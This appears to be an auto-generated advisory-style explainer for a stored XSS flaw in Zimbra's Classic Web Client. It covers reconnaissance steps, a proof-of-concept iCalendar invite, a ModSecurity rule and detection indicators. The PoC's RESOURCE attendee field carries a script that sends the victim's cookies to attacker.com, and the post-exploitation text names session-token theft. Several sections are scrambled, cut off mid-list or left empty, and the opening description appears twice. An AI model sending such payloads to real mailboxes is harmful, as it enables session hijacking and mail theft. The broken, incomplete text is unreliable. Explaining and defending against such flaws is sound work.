CVE-2026-137834 — CWE-79
A stored cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an unauthenticated email sender to execute JavaScript through a crafted iCalendar RESOURCE attendee address. When automatic invitation insertion and Calendar resource/GAL support are enabled, Classic retains the decoded address and inserts it without HTML encoding into the Resources row of the read-only appointment view. The payload executes when the signed-in recipient opens the event, allowing access to mailbox data and authenticated actions as that user. ZCS 10.1.0 through 10.1.21 are affected.
A stored cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an unauthenticated email sender to execute JavaScript through a crafted iCalendar RESOURCE attendee address. When automatic invitation insertion and Calendar resource/GAL support are enabled, Classic retains the decoded address and inserts it without HTML encoding into the Resources row of the read-only appointment view. The payload executes when the signed-in recipient opens the event, allowing access to mailbox data and authenticated actions as that user. ZCS 10.1.0 through 10.1.21 are affected.
🎯 What is this vulnerability?
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw (CWE-79) within the Classic Web Client of Zimbra Collaboration Suite (ZCS). The core technical failure lies in the insufficient output encoding of the RESOURCE attendee address field within iCalendar (.ics) data.
Specifically, when ZCS processes an incoming calendar invitation where the ATTENDEE property is marked as a RESOURCE (e.g., a meeting room or equipment), the application decodes the value but fails to apply HTML entity encoding before rendering it in the "Resources" row of the appointment view.
The vulnerability is triggered under specific configuration conditions:
1. Automatic invitation insertion is enabled.
2. Calendar resource/GAL (Global Address List) support is enabled.
3. The target user is using the Classic Web Client (not the newer Zimbra Web Client).
Because the payload is stored in the calendar entry and executed when the victim views the event, it is a Stored XSS. The UI:R (User Interaction Required) in the CVSS vector reflects that the victim must open the specific calendar event for the script to execute. The S:C (Scope Changed) indicates that the script executes in the context of the victim's authenticated session, allowing the attacker to bypass same-origin policy restrictions and interact with the victim's mailbox.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Version Fingerprinting: The attacker identifies the target as running ZCS 10.1.0 through 10.1.21. This can be done by: * Checking the
- Configuration Verification: The attacker confirms that the target uses the Classic Web Client and has GAL/resource support enabled. This is often inferred from the presence of resource booking features or by sending a test email to a known resource address and observing the response.
Server header in HTTP responses (if exposed).
* Accessing the login page and inspecting the HTML source for version-specific assets or meta tags.
* Using Shodan/Censys to search for zimbra and specific version strings.
2. Exploitation
The attacker crafts a malicious iCalendar invitation. The key is to embed a JavaScript payload in theATTENDEE property with the ROLE=RESOURCE parameter.Illustrative PoC (iCalendar Data):
Note: The exact URI for sending the email is standard SMTP submission. The payload below is an illustrative example of the vulnerable field.
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Attacker//Zimbra XSS PoC//EN
BEGIN:VEVENT
UID:[email protected]
DTSTAMP:20261203T000000Z
DTSTART:20261204T100000Z
DTEND:20261204T110000Z
SUMMARY:Important Meeting
DESCRIPTION:Please join us.
ATTENDEE;ROLE=REQ-PARTICIPANT;CN=Victim:mailto:[email protected]
ATTENDEE;ROLE=RESOURCE;CN=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>:mailto:[email protected]
END:VEVENT
END:VCALENDARDelivery Mechanism:
The attacker sends this .ics file as an attachment or as a calendar invitation via SMTP to the victim's email address. ZCS parses the invitation, stores the event in the victim's calendar, and retains the decoded, unencoded ATTENDEE value.
Trigger:
When the victim opens the "Important Meeting" event in the Classic Web Client, the "Resources" row renders the ATTENDEE value. Since it is not HTML-encoded, the browser interprets <script> as executable JavaScript.
3. Post-Exploitation
Once the script executes in the victim's browser session:ZM_AUTH_TOKEN or other session cookies, gaining direct access to the victim's mailbox.ZmMailAccount, ZmMailItem), the attacker can read, search, and download emails, contacts, and calendar entries.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
RESOURCE attendee field has been fixed. Check Zimbra's official security advisories for the specific patch version.2. Workarounds (If Immediate Patching is Not Possible)
ROLE=RESOURCE attendees.3. WAF/ModSecurity Rules
A Web Application Firewall (WAF) can be configured to detect and block suspicious iCalendar payloads. However, since the payload is sent via SMTP and stored in the database, WAF rules must inspect the email content or the HTTP requests that render the calendar.Illustrative ModSecurity Rule (for HTTP requests rendering calendar data):
SecRule REQUEST_URI "@rx /zimbra/.*calendar.*" \
"id:100001,\
phase:1,\
pass,\
t:none,\
ctl:auditLogParts=al,\
ctl:logAction=drop"
SecRule ARGS "@rx <script>" \
"id:100002,\
phase:2,\
block,\
status:403,\
msg:'Potential XSS in Calendar Resource Field',\
logdata:'%{MATCHED_VAR}',\
severity:2,\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'attack-xss'"Note: This rule is illustrative. A more robust approach is to inspect the SMTP traffic for <script> tags in ATTENDEE fields with ROLE=RESOURCE. This requires an SMTP gateway or mail server plugin.
4. Detection & IoCs
<script> tags in the Resources row..ics attachments or calendar invitations where the ATTENDEE field contains <script>, javascript:, or other executable code.⚠️ Urgency
FOFA Query